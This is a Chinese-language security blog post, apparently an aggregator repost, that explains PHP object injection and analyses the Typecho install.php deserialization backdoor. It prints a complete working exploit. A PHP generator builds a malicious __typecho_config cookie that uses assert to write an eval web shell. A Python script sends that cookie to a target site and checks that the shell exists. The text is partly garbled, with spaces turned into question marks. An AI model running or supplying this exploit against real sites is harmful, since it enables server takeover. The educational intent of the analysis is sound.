nstall.php a data,通过Typecho install.php 后门理解PHP对象注入 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...
剛好在學習PHP反序列化,聽說有這么個后門,嘗試著分析下,可能有寫的不對的地方,還請指教。首先介紹下序列化與反序列化。序列化是對象串行化,對象是一種在內存中存儲的數據類型,壽命隨生成該對象的程序的終止而終止,為了持久使用對象的狀態,將其通過serialize()函數進行序列化為一行字符串保存為文件,使用時通過unserialize()反序列化為對象。反序列化的過程就是重新執行一遍某個指定的程序流程。
PHP序列化后的格式
序列化函數:serialize。
反序列化函數:unserialize。
布爾型b:value
b:0?//false
b:1?//true
整數型i:value
i:1
i:-1
字符型s:length:"value";
s:4:"aaaa";
NULL型N;
數組a::{key,?value?pairs};
a:1:{i:1;s:1:"a";}
對象O::""::{};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
PHP對象注入漏洞利用條件
反序列化漏洞是典型的對象注入漏洞。通過可控參數傳遞的值在一個方法中實例化另一個類,并調用類中存在漏洞的代碼或者方法,達到利用漏洞的目的。
簡單的dome:<?php
class?syclover{
var?$member;
var?$filename;
function?__wakeup(){
$this->save($this->filename,$this->member);
}
public?function?save($filename,$data){
file_put_contents($filename,$data);
}
}
unserialize($_GET['a']);
?>
url(生成一個文件):http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}
利用條件:
1:存在可控輸入點;
2:可控的類中存在可自動執行的方法(主要是PHP魔術方法);
3:自動執行的方法中存在漏洞或者調用的方法中存在漏洞。
php對象常見魔術方法
__construct:當對象被創建的時候調用;
__destruct:當對象被銷毀的時候調用;
__toString:當對象被當作一個字符串使用時候調用(不僅僅是echo的時候,比如file_exists()判斷、字符串拼接也會觸發);
__sleep:序列化對象之前就調用此方法(其返回需要是一個數組)
__wakeup:反序列化恢復對象之前就調用此方法
__call:當調用對象中不存在的方法會自動調用此方法
__get():獲取私有成員屬性值會自動調用此方法,有一個參數傳入你要獲取的成員屬性的名稱,返回獲取的屬性值,被封裝的私有屬性不能直接獲取值,但是如果你在類里面加上__get()方法,在使用“echo $p1->name”這樣的語句直接獲取值的時候就會自動調用__get($name)方法,將屬性name傳給參數$name,如果成員屬性不封裝private,對象本身就不會去自動調用這個方法。
POP鏈構造
大部分序列化攻擊是在魔術方法中出現一些利用的漏洞,因為自動調用從而觸發漏洞。 但如果關鍵代碼不在魔術方法中,而是在一個類的普通方法中。這時候可以通過尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來。<?php
class?lemon?{
protected?$ClassObj;
function?__construct()?{
$this->ClassObj?=?new?normal();
}
function?__destruct()?{
$this->ClassObj->action();
}
}
class?normal?{
function?action()?{
echo?"hello";
}
}
class?evil?{
private?$data;
function?action()?{
eval($this->data);
}
}
unserialize($_GET['d']);
注意的是,protected $ClassObj = new evil();是不行的,還是通過__construct來實例化。 生成poc:<?php
class?lemon?{
protected?$ClassObj;
function?__construct()?{
$this->ClassObj?=?new?evil();
}
}
class?evil?{
private?$data?=?"phpinfo();";
}
echo?urlencode(serialize(new?lemon()));
echo?"nr";
注意的是,protected $ClassObj = new evil();是不行的,還是通過__construct來實例化。 生成poc:O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
挖掘與防護
審計搜索serialize/unserialize函數。
防護:使用json_encode/json_decode代替serialize/unserialize
Typecho install.php 后門分析
看的時候配合這個bgm口感更佳:
第一步:入口文件install.phpu??typecho-mastertypecho-masterinstall.php
Typecho安裝后默認不刪除install.php,通過cookie中的__typecho_config字段傳入,該參數格式為:php序列化后再base64加密的字符串:$config?=?unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
緊接著實例化Typecho_Db類$db?=?new?Typecho_Db($config['adapter'],?$config['prefix']);
Typecho_Db類位于typecho-mastertypecho-mastervarTypechoDb.php
$config['adapter']在構造函數里面對應形參$adapterName,
Typecho_Db類實例化時會自動執行__construct方法, 該方法中存在一個字符串拼接的操作:$adapterName?=?'Typecho_Db_Adapter_'?.?$adapterName;
u??typecho-mastertypecho-mastervarTypechoFeed.php
當$adapterNam的值為new Typecho_Feed(實例化Typecho_Feed這個類),那么在使用.字符連接, $adapterNam所代表的類就被當成字符串處理, Typecho_Feed類中的__toString魔術方法會自動執行。
該方法中當self::ATOM1 == $this->_type時,if流程進入到如下位置:
其中$_items是個array,可通過addItem()方法傳入。
$this->_items as $item之后,會訪問一個類屬性 $item['author']->screenname,那么$item['author']應該是一個實例化的類, screenname是類的一個屬性。u??typecho-mastertypecho-mastervarTypechoRequest.php
Typecho_Request類中存在__get()方法,在直接設置私有屬性值的時候會__set()方法為私有屬性賦值?,在直接獲取私有屬性值的時候,也會調用__get()方法
跟進后定位到get(),發現調用__applyFilter(),$key貫穿始終。
__applyFilter中的call_user_func()參數可控,能構造代碼執行漏洞。
傳入的value值不能為array,$filter值為eval之類的可執行函數。
如果給$item['author']賦值為new Typecho_Reques,那么$item['author']->screenname就是在訪問Typecho_Reques類的私有方法了,這樣__get()方法就會被自動執行。
然而Typecho_Reques類中并不存在Screenname屬性。但是反序列化漏洞中一個比較有意思的點是,不管服務器端代碼類中的方法是否被調用,只要存在,我們就可以在本地構造好需要執行的方法,進行序列化。當代碼在服務端進行反序列化操作時,就會根據本地構造的流程進行執行。
那么,如何讓將Typecho_Request類傳入到$item['author']中楠?這里就需要借助Typecho_Feed類中的addItem()方法了。我們需要先將new Typecho_Request()賦予給一個數組的某個元素,因為addItem()方法處理的是數組,于是形式為:
Typecho_Feed->addItem('author' => new Typecho_Request()) ,
'author' => new Typecho_Request()對應的其實就是$item['author'],
可能看起來不是很直觀,結合序列化的payload可以更好的理解這個過程,這里直接貼上大神寫的__typecho_config的序列化Payload。<?php
/**
*?Created?by?PhpStorm.
*?User:?RaI4over
*?Date:?2017/10/19
*?Time:?15:17
*?生成?_typecho_config?的值
*/
class?Typecho_Feed
{
const?RSS2?=?'RSS?2.0';
private?$_type;
private?$_charset;
private?$_lang;
private?$_items?=?array();
public?function?__construct($version,?$type?=?self::RSS2,?$charset?=?'UTF-8',?$lang?=?'en')
{
$this->_version?=?$version;
$this->_type?=?$type;
$this->_charset?=?$charset;
$this->_lang?=?$lang;
}
public?function?addItem(array?$item)
{
$this->_items[]?=?$item;
}
}
class?Typecho_Request
{
private?$_params?=?array('screenName'=>'fputs(fopen('./usr/themes/default/img/c.php','w'),'<?php ?@eval($_POST[a]);?>')');
private?$_filter?=?array('assert');
//private?$_filter?=?array('assert',?array('Typecho_Response',?'redirect'));
}
$payload1?=?new?Typecho_Feed(5,?'ATOM?1.0');
$payload2?=?new?Typecho_Request();
$payload1->addItem(array('author'?=>?$payload2));
$exp['adapter']?=?$payload1;
$exp['prefix']?=?'Rai4over';
echo?base64_encode(serialize($exp));
編寫payload:
記得把php添加進環境變量import?requests
import?os
if?__name__?==?'__main__':
print?'''?____??????????____??????_?_??_
|?__?)?_??_??|??_??__?_(_)?||?|??_____??_____?_?__
|??_?|?|?|?|??|?|_)?/?_`?|?|?||?|_?/?_???/?/?_??'__|
|?|_)?|?|_|?|??|??_?
|____/?__,?|??|_|?___,_|_|??|_|??___/?_/?___|_|
|___/
'''
targert_url?=?'http://www.xxxxxxxx.xyz';
rsp?=?requests.get(targert_url?+?"/install.php");
if?rsp.status_code?!=?200:
exit('The?attack?failed?and?the?problem?file?does?not?exist?!!!')
else:
print?'You?are?lucky,?the?problem?file?exists,?immediately?attack?!!!'
proxies?=?{"http":?"http://127.0.0.1:8080",?"https":?"http://127.0.0.1:8080",?}
typecho_config?=?os.popen('php?exp.php').read()
headers?=?{'User-Agent':?'Mozilla/5.0?(Windows?NT?10.0;?WOW64;?rv:56.0)?Gecko/20100101?Firefox/56.0',
'Cookie':?'antispame=1508415662;?antispamkey=cc7dffeba8d48da508df125b5a50edbd;?PHPSESSID=po1hggbeslfoglbvurjjt2lcg0;?__typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config),
'Referer':?targert_url}
url?=?targert_url?+?"/install.php?finish=1"
requests.get(url,headers=headers,allow_redirects=False)
shell_url?=?targert_url?+?'/usr/themes/default/img/c.php'
if?requests.get(shell_url).status_code?==?200:
print?'shell_url:?'?+?shell_url
else:
print?"Getshell?Fail!"
?? 最外層$exp是數組,數組中的'adapter'是Typecho_Feed的實例$payload1,
?? $payload1的構造參數是'ATOM 1.0'用于控制分支;
?? $payload2是Typecho_Request的實例;
?? private $_filter ,private $_params是傳給call_user_func的參數,也就是通過assert寫shell?;
?? 然后$payload2通過additem添加到$payload的$_items的變量中??;
?? 最后把$payload1添加到最外層的$exp數組中??;
?? ps:因為install.php中有ob_start();所以構造好是沒有回顯的,但是也能寫shell;
?? 后面其他師傅說可以用Typecho_Response類中的redirect方法中的exit()得到回顯。
總結:
這個后門跳躍性很大,流程也很復雜,正常的審計很難審出來吧,也不知道大牛們腦袋里面裝的都是些啥東西,個人感覺可能是蜜罐捕捉到了吧。
參考:
https://paper.tuisec.win/detail/c1ecf917be22318.jsp
注:本文還參考了
總結
以上是生活随笔為你收集整理的nstall.php a data,通过Typecho install.php 后门理解PHP对象注入 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: oracle别名作用范围,在Oracle
- 下一篇: 关闭oracle自动统计,禁用Oracl